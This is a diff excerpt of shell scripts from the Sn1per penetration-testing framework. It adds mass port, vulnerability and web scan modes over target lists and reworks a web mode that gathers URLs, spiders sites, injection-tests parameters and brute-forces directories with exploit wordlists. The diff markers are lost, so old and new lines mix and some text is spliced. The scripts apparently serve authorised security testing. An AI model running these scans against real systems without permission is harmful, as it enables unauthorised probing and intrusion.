if [[ "$MODE" = "massportscan" ]]; then
|
||||
if [[ -z "$FILE" ]]; then
|
||||
logo
|
||||
echo "You need to specify a list of targets (ie. -f <targets.txt>) to scan."
|
||||
exit
|
||||
fi
|
||||
if [[ "$REPORT" = "1" ]]; then
|
||||
for a in `cat $FILE`;
|
||||
do
|
||||
if [[ ! -z "$WORKSPACE" ]]; then
|
||||
args="$args -w $WORKSPACE"
|
||||
WORKSPACE_DIR=$INSTALL_DIR/loot/workspace/$WORKSPACE
|
||||
echo -e "$OKBLUE[*]$RESET Saving loot to $LOOT_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET"
|
||||
mkdir -p $WORKSPACE_DIR 2> /dev/null
|
||||
mkdir $WORKSPACE_DIR/domains 2> /dev/null
|
||||
mkdir $WORKSPACE_DIR/screenshots 2> /dev/null
|
||||
mkdir $WORKSPACE_DIR/nmap 2> /dev/null
|
||||
mkdir $WORKSPACE_DIR/notes 2> /dev/null
|
||||
mkdir $WORKSPACE_DIR/reports 2> /dev/null
|
||||
mkdir $WORKSPACE_DIR/output 2> /dev/null
|
||||
fi
|
||||
args="$args -m fullportonly --noreport --noloot"
|
||||
TARGET="$a"
|
||||
args="$args -t $TARGET"
|
||||
echo -e "$OKRED |"
|
||||
echo -e "$OKRED | |"
|
||||
echo -e "$OKRED | -/_\-"
|
||||
echo -e "$OKRED -/_\- ______________(/ . \)______________"
|
||||
echo -e "$OKRED ____________(/ . \)_____________ \___/ <>"
|
||||
echo -e "$OKRED <> \___/ <> <>"
|
||||
echo -e "$OKRED "
|
||||
echo -e "$OKRED ||"
|
||||
echo -e "$OKRED <>"
|
||||
echo -e "$OKRED ||"
|
||||
echo -e "$OKRED <>"
|
||||
echo -e "$OKRED ||"
|
||||
echo -e "$OKRED || BIG"
|
||||
echo -e "$OKRED _____ __ <> (^)))^ BOOM!"
|
||||
echo -e "$OKRED BOOM!/(( )\ BOOM!(( ))) ( ( )"
|
||||
echo -e "$OKRED ---- (__()__)) (() ) )) ( ( ( )"
|
||||
echo -e "$OKRED || |||____|------ \ (/ ___ (__\ /__)"
|
||||
echo -e "$OKRED |__||| | |---|---|||___| |___-----|||||"
|
||||
echo -e "$OKRED | ||. | | | ||| |||||"
|
||||
echo -e "$OKRED |__||| | |---|---|||___| |___-----|||||"
|
||||
echo -e "$OKRED | ||. | | | ||| |||||"
|
||||
echo -e "$OKRED __________________________________________________________"
|
||||
echo -e "$RESET"
|
||||
if [[ ! -z "$WORKSPACE_DIR" ]]; then
|
||||
echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null
|
||||
echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE.txt
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Started Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
sniper $args | tee $WORKSPACE_DIR/output/sniper-$TARGET-$MODE-`date +"%Y%m%d%H%M"`.txt 2>&1
|
||||
else
|
||||
echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null
|
||||
echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE.txt
|
||||
sniper $args | tee $LOOT_DIR/output/sniper-$TARGET-$MODE-`date +"%Y%m%d%H%M"`.txt 2>&1
|
||||
fi
|
||||
args=""
|
||||
done
|
||||
fi
|
||||
echo "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
if [[ "$LOOT" = "1" ]]; then
|
||||
loot
|
||||
fi
|
||||
|
||||
exit
|
||||
fi
|
||||
|
|
@ -0,0 +1,74 @@
|
|||
# MASSWEB MODE #####################################################################################################
|
||||
if [[ "$MODE" = "massvulnscan" ]]; then
|
||||
if [[ -z "$FILE" ]]; then
|
||||
logo
|
||||
echo "You need to specify a list of targets (ie. -f <targets.txt>) to scan."
|
||||
exit
|
||||
fi
|
||||
if [[ "$REPORT" = "1" ]]; then
|
||||
for a in `cat $FILE`;
|
||||
do
|
||||
if [[ ! -z "$WORKSPACE" ]]; then
|
||||
args="$args -w $WORKSPACE"
|
||||
WORKSPACE_DIR=$INSTALL_DIR/loot/workspace/$WORKSPACE
|
||||
echo -e "$OKBLUE[*]$RESET Saving loot to $LOOT_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET"
|
||||
mkdir -p $WORKSPACE_DIR 2> /dev/null
|
||||
mkdir $WORKSPACE_DIR/domains 2> /dev/null
|
||||
mkdir $WORKSPACE_DIR/screenshots 2> /dev/null
|
||||
mkdir $WORKSPACE_DIR/nmap 2> /dev/null
|
||||
mkdir $WORKSPACE_DIR/notes 2> /dev/null
|
||||
mkdir $WORKSPACE_DIR/reports 2> /dev/null
|
||||
mkdir $WORKSPACE_DIR/output 2> /dev/null
|
||||
fi
|
||||
args="$args -m vulnscan --noreport --noloot"
|
||||
TARGET="$a"
|
||||
args="$args -t $TARGET"
|
||||
echo -e "$OKRED |"
|
||||
echo -e "$OKRED | |"
|
||||
echo -e "$OKRED | -/_\-"
|
||||
echo -e "$OKRED -/_\- ______________(/ . \)______________"
|
||||
echo -e "$OKRED ____________(/ . \)_____________ \___/ <>"
|
||||
echo -e "$OKRED <> \___/ <> <>"
|
||||
echo -e "$OKRED "
|
||||
echo -e "$OKRED ||"
|
||||
echo -e "$OKRED <>"
|
||||
echo -e "$OKRED ||"
|
||||
echo -e "$OKRED <>"
|
||||
echo -e "$OKRED ||"
|
||||
echo -e "$OKRED || BIG"
|
||||
echo -e "$OKRED _____ __ <> (^)))^ BOOM!"
|
||||
echo -e "$OKRED BOOM!/(( )\ BOOM!(( ))) ( ( )"
|
||||
echo -e "$OKRED ---- (__()__)) (() ) )) ( ( ( )"
|
||||
echo -e "$OKRED || |||____|------ \ (/ ___ (__\ /__)"
|
||||
echo -e "$OKRED |__||| | |---|---|||___| |___-----|||||"
|
||||
echo -e "$OKRED | ||. | | | ||| |||||"
|
||||
echo -e "$OKRED |__||| | |---|---|||___| |___-----|||||"
|
||||
echo -e "$OKRED | ||. | | | ||| |||||"
|
||||
echo -e "$OKRED __________________________________________________________"
|
||||
echo -e "$RESET"
|
||||
if [[ ! -z "$WORKSPACE_DIR" ]]; then
|
||||
echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null
|
||||
echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE.txt
|
||||
echo "[sn1persecurity.com] •?((¯°·._.• Started Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Started Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
sniper $args | tee $WORKSPACE_DIR/output/sniper-$TARGET-$MODE-`date +"%Y%m%d%H%M"`.txt 2>&1
|
||||
else
|
||||
echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null
|
||||
echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE.txt
|
||||
sniper $args | tee $LOOT_DIR/output/sniper-$TARGET-$MODE-`date +"%Y%m%d%H%M"`.txt 2>&1
|
||||
fi
|
||||
args=""
|
||||
done
|
||||
fi
|
||||
echo "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
if [[ "$LOOT" = "1" ]]; then
|
||||
loot
|
||||
fi
|
||||
|
||||
exit
|
||||
fi
|
||||
|
|
@ -0,0 +1,73 @@
|
|||
# MASSWEB MODE #####################################################################################################
|
||||
if [[ "$MODE" = "massweb" ]]; then
|
||||
if [[ -z "$FILE" ]]; then
|
||||
logo
|
||||
echo "You need to specify a list of targets (ie. -f <targets.txt>) to scan."
|
||||
exit
|
||||
fi
|
||||
if [[ "$REPORT" = "1" ]]; then
|
||||
for a in `cat $FILE`;
|
||||
do
|
||||
if [[ ! -z "$WORKSPACE" ]]; then
|
||||
args="$args -w $WORKSPACE"
|
||||
WORKSPACE_DIR=$INSTALL_DIR/loot/workspace/$WORKSPACE
|
||||
echo -e "$OKBLUE[*]$RESET Saving loot to $LOOT_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET"
|
||||
mkdir -p $WORKSPACE_DIR 2> /dev/null
|
||||
mkdir $WORKSPACE_DIR/domains 2> /dev/null
|
||||
mkdir $WORKSPACE_DIR/screenshots 2> /dev/null
|
||||
mkdir $WORKSPACE_DIR/nmap 2> /dev/null
|
||||
mkdir $WORKSPACE_DIR/notes 2> /dev/null
|
||||
mkdir $WORKSPACE_DIR/reports 2> /dev/null
|
||||
mkdir $WORKSPACE_DIR/output 2> /dev/null
|
||||
fi
|
||||
args="$args -m web --noreport --noloot"
|
||||
TARGET="$a"
|
||||
args="$args -t $TARGET"
|
||||
echo -e "$OKRED |"
|
||||
echo -e "$OKRED | |"
|
||||
echo -e "$OKRED | -/_\-"
|
||||
echo -e "$OKRED -/_\- ______________(/ . \)______________"
|
||||
echo -e "$OKRED ____________(/ . \)_____________ \___/ <>"
|
||||
echo -e "$OKRED <> \___/ <> <>"
|
||||
echo -e "$OKRED "
|
||||
echo -e "$OKRED ||"
|
||||
echo -e "$OKRED <>"
|
||||
echo -e "$OKRED ||"
|
||||
echo -e "$OKRED <>"
|
||||
echo -e "$OKRED ||"
|
||||
echo -e "$OKRED || BIG"
|
||||
echo -e "$OKRED _____ __ <> (^)))^ BOOM!"
|
||||
echo -e "$OKRED BOOM!/(( )\ BOOM!(( ))) ( ( )"
|
||||
echo -e "$OKRED ---- (__()__)) (() ) )) ( ( ( )"
|
||||
echo -e "$OKRED || |||____|------ \ (/ ___ (__\ /__)"
|
||||
echo -e "$OKRED |__||| | |---|---|||___| |___-----|||||"
|
||||
echo -e "$OKRED | ||. | | | ||| |||||"
|
||||
echo -e "$OKRED |__||| | |---|---|||___| |___-----|||||"
|
||||
echo -e "$OKRED | ||. | | | ||| |||||"
|
||||
echo -e "$OKRED __________________________________________________________"
|
||||
echo -e "$RESET"
|
||||
if [[ ! -z "$WORKSPACE_DIR" ]]; then
|
||||
#echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null
|
||||
echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE.txt
|
||||
echo "[sn1persecurity.com] •?((¯°·._.• Started Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Started Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
sniper $args | tee $WORKSPACE_DIR/output/sniper-$TARGET-$MODE-`date +"%Y%m%d%H%M"`.txt 2>&1
|
||||
else
|
||||
echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE.txt
|
||||
sniper $args | tee $LOOT_DIR/output/sniper-$TARGET-$MODE-`date +"%Y%m%d%H%M"`.txt 2>&1
|
||||
fi
|
||||
args=""
|
||||
done
|
||||
fi
|
||||
echo "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
if [[ "$LOOT" = "1" ]]; then
|
||||
loot
|
||||
fi
|
||||
|
||||
exit
|
||||
fi
|
||||
|
|
@ -0,0 +1,53 @@
|
|||
# MASSWEB MODE #####################################################################################################
|
||||
if [[ "$MODE" = "masswebscan" ]]; then
|
||||
if [[ -z "$FILE" ]]; then
|
||||
logo
|
||||
echo "You need to specify a list of targets (ie. -f <targets.txt>) to scan."
|
||||
exit
|
||||
fi
|
||||
if [[ "$REPORT" = "1" ]]; then
|
||||
for a in `cat $FILE`;
|
||||
do
|
||||
if [[ ! -z "$WORKSPACE" ]]; then
|
||||
args="$args -w $WORKSPACE"
|
||||
WORKSPACE_DIR=$INSTALL_DIR/loot/workspace/$WORKSPACE
|
||||
echo -e "$OKBLUE[*]$RESET Saving loot to $LOOT_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET"
|
||||
mkdir -p $WORKSPACE_DIR 2> /dev/null
|
||||
mkdir $WORKSPACE_DIR/domains 2> /dev/null
|
||||
mkdir $WORKSPACE_DIR/screenshots 2> /dev/null
|
||||
mkdir $WORKSPACE_DIR/nmap 2> /dev/null
|
||||
mkdir $WORKSPACE_DIR/notes 2> /dev/null
|
||||
mkdir $WORKSPACE_DIR/reports 2> /dev/null
|
||||
mkdir $WORKSPACE_DIR/output 2> /dev/null
|
||||
mkdir $WORKSPACE_DIR/vulnerabilities/ 2> /dev/null
|
||||
mkdir $WORKSPACE_DIR/scans/ 2> /dev/null
|
||||
fi
|
||||
args="$args -m webscan --noreport --noloot"
|
||||
TARGET="$a"
|
||||
args="$args -t $TARGET"
|
||||
if [[ ! -z "$WORKSPACE_DIR" ]]; then
|
||||
echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE.txt
|
||||
echo "[sn1persecurity.com] •?((¯°·._.• Started Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Started Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
sniper $args | tee $WORKSPACE_DIR/output/sniper-$TARGET-$MODE-`date +"%Y%m%d%H%M"`.txt 2>&1
|
||||
else
|
||||
echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE.txt
|
||||
sniper $args | tee $LOOT_DIR/output/sniper-$TARGET-$MODE-`date +"%Y%m%d%H%M"`.txt 2>&1
|
||||
fi
|
||||
args=""
|
||||
done
|
||||
fi
|
||||
|
||||
echo "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
|
||||
if [[ "$LOOT" = "1" ]]; then
|
||||
loot
|
||||
fi
|
||||
|
||||
exit
|
||||
fi
|
||||
1172
modes/normal.sh
1172
modes/normal.sh
File diff suppressed because it is too large
Load Diff
|
|
@ -1,115 +1,200 @@
|
|||
if [ "$MODE" = "web" ]; then
|
||||
if [ "$BURP_SCAN" == "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED RUNNING BURPSUITE SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
if [ "$VERBOSE" == "1" ]; then
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN curl -X POST \"http://$BURP_HOST:$BURP_PORT/v0.1/scan\" -d \"{\"scope\":{\"include\":[{\"rule\":\"http://$TARGET:80\"}],\"type\":\"SimpleScope\"},\"urls\":[\"http://$TARGET:80\"]}\"$RESET"
|
||||
fi
|
||||
curl -s -X POST "http://$BURP_HOST:$BURP_PORT/v0.1/scan" -d "{\"scope\":{\"include\":[{\"rule\":\"http://$TARGET:80\"}],\"type\":\"SimpleScope\"},\"urls\":[\"http://$TARGET:80\"]}"
|
||||
wpif [[ "$MODE" = "web" ]]; then
|
||||
echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/running_${TARGET}_${MODE}.txt 2> /dev/null
|
||||
ls -lh $LOOT_DIR/scans/running_*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt
|
||||
|
||||
echo "[sn1persecurity.com] •?((¯°·._.• Started Sn1per HTTP web scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Started Sn1per HTTP web scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
if [[ "$PASSIVE_SPIDER" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING PASSIVE WEB SPIDER $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
curl -sX GET "http://index.commoncrawl.org/CC-MAIN-2022-33-index?url=*.$TARGET&output=json" -H 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Googlebot/2.1; +http://www.google.com/bot.html) Safari/537.36' 2> /dev/null | jq -r .url | egrep -v "null" | tee $LOOT_DIR/web/passivespider-$TARGET.txt 2> /dev/null | head -n 250
|
||||
fi
|
||||
if [[ "$WAYBACKMACHINE" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED FETCHING WAYBACK MACHINE URLS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
curl -sX GET "http://web.archive.org/cdx/search/cdx?url=*.$TARGET/*&output=text&fl=original&collapse=urlkey" | tee $LOOT_DIR/web/waybackurls-$TARGET.txt 2> /dev/null | head -n 250
|
||||
fi
|
||||
if [[ "$HACKERTARGET" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED FETCHING HACKERTARGET URLS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
curl -s GET "https://api.hackertarget.com/pagelinks/?q=http://$TARGET" | egrep -v "API count|no links found|input url is invalid|API count|no links found|input url is invalid|error getting links" | tee $LOOT_DIR/web/hackertarget-http-$TARGET.txt 2> /dev/null | head -n 250
|
||||
fi
|
||||
if [[ "$GAU" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED FETCHING GUA URLS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
gau -subs $TARGET | tee $LOOT_DIR/web/gua-$TARGET.txt 2> /dev/null | head -n 250
|
||||
fi
|
||||
if [[ "$BLACKWIDOW" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING ACTIVE WEB SPIDER & APPLICATION SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
touch $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
cp $LOOT_DIR/web/spider-$TARGET.txt $LOOT_DIR/web/spider-$TARGET.bak 2>/dev/null
|
||||
blackwidow -u http://$TARGET:80 -l 3 -v n
|
||||
cp -f /usr/share/blackwidow/"$TARGET"_80/"$TARGET"_80-*.txt $LOOT_DIR/web/ 2>/dev/null
|
||||
cat /usr/share/blackwidow/"$TARGET"_*/"$TARGET"_*-urls-sorted.txt > $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
cat $LOOT_DIR/web/waybackurls-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
cat $LOOT_DIR/web/hackertarget-*-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
cat $LOOT_DIR/web/passivespider-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
cat $LOOT_DIR/web/gua-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
sed -ir "s/</\&lh\;/g" $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
mv -f $LOOT_DIR/web/spider-$TARGET.txtr $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
sort -u $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null > $LOOT_DIR/web/spider-$TARGET.sorted 2>/dev/null
|
||||
mv $LOOT_DIR/web/spider-$TARGET.sorted $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
diff $LOOT_DIR/web/spider-$TARGET.bak $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null | grep "> " 2> /dev/null | awk '{print $2}' 2> /dev/null > $LOOT_DIR/web/spider-new-$TARGET.txt
|
||||
|
||||
if [[ $(wc -c $LOOT_DIR/web/spider-new-$TARGET.txt | awk '{print $1}') > 3 ]]; then
|
||||
echo "[sn1persecurity.com] •?((¯°·._.• Spider URL change detected on $TARGET (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
|
||||
head -n 20 $LOOT_DIR/web/spider-new-$TARGET.txt 2> /dev/null >> $LOOT_DIR/scans/notifications_new.txt 2> /dev/null
|
||||
fi
|
||||
|
||||
if [[ "$SLACK_NOTIFICATIONS_SPIDER_NEW" == "1" && "SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/web/spider-new-$TARGET.txt"
|
||||
fi
|
||||
fi
|
||||
if [[ "$INJECTX" == "1" ]]; then
|
||||
rm -f $LOOT_DIR/web/injectx-$TARGET-http.raw 2> /dev/null
|
||||
#cat $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null | grep '?' | grep 'http\:' | xargs -P $THREADS -r -n 1 -I '{}' injectx.py -u '{}' -vy | tee -a $LOOT_DIR/web/injectx-$TARGET-http.txt
|
||||
for a in `cat $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null | grep '?' | grep "http\:" | cut -d '?' -f2 | cut -d '=' -f1 | sort -u`; do for b in `grep $a $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null | grep "http\:" | head -n 1`; do injectx.py -u $b -vy | tee -a $LOOT_DIR/web/injectx-$TARGET-http.raw; done; done;
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/injectx-$TARGET-http.raw 2> /dev/null > $LOOT_DIR/web/injectx-$TARGET-http.txt
|
||||
fi
|
||||
source $INSTALL_DIR/modes/static-grep-search.sh
|
||||
if [[ "$WEB_JAVASCRIPT_ANALYSIS" == "1" ]]; then
|
||||
source $INSTALL_DIR/modes/javascript-analysis.sh
|
||||
fi
|
||||
touch $LOOT_DIR/web/dirsearch-$TARGET.bak 2> /dev/null
|
||||
cp $LOOT_DIR/web/dirsearch-$TARGET.txt $LOOT_DIR/web/dirsearch-$TARGET.bak 2> /dev/null
|
||||
if [[ "$WEB_BRUTE_COMMONSCAN" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING COMMON FILE/DIRECTORY BRUTE FORCE $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
if [[ "$DIRSEARCH" == "1" ]]; then
|
||||
python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u http://$TARGET -w $WEB_BRUTE_COMMON -x $WEB_BRUTE_EXCLUDE_CODES -F -e $WEB_BRUTE_EXTENSIONS -t $THREADS --exclude-texts=Attack Detected,Please contact the system administrator,Page Not Found,URL No Longer Exists --random-agent --output=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null
|
||||
fi
|
||||
if [[ "$GOBUSTER" == "1" ]]; then
|
||||
gobuster -u http://$TARGET -w $WEB_BRUTE_COMMON -e | tee $LOOT_DIR/web/webbrute-$TARGET-http-common.txt
|
||||
fi
|
||||
fi
|
||||
if [[ "$WEB_BRUTE_FULLSCAN" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING FULL FILE/DIRECTORY BRUTE FORCE $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
if [[ "$DIRSEARCH" == "1" ]]; then
|
||||
python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u http://$TARGET -w $WEB_BRUTE_FULL -x $WEB_BRUTE_EXCLUDE_CODES -F -e "/" -t $THREADS --exclude-texts=Attack Detected,Please contact the system administrator,Page Not Found,URL No Longer Exists --random-agent --output=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null
|
||||
fi
|
||||
if [[ "$GOBUSTER" == "1" ]]; then
|
||||
gobuster -u http://$TARGET -w $WEB_BRUTE_FULL -e | tee $LOOT_DIR/web/webbrute-$TARGET-http-full.txt
|
||||
fi
|
||||
fi
|
||||
if [[ "$WEB_BRUTE_EXPLOITSCAN" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING FILE/DIRECTORY BRUTE FORCE FOR VULNERABILITIES $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
if [[ "$DIRSEARCH" == "1" ]]; then
|
||||
python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u http://$TARGET -w $WEB_BRUTE_EXPLOITS -x $WEB_BRUTE_EXCLUDE_CODES -F -e "/" -t $THREADS --exclude-texts=Attack Detected,Please contact the system administrator,Page Not Found,URL No Longer Exists --random-agent --output=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null
|
||||
fi
|
||||
if [[ "$GOBUSTER" == "1" ]]; then
|
||||
gobuster -u http://$TARGET -w $WEB_BRUTE_EXPLOITS -e | tee $LOOT_DIR/web/webbrute-$TARGET-https-exploits.txt
|
||||
fi
|
||||
fi
|
||||
if [[ "$DIRSEARCH" == "1" ]]; then
|
||||
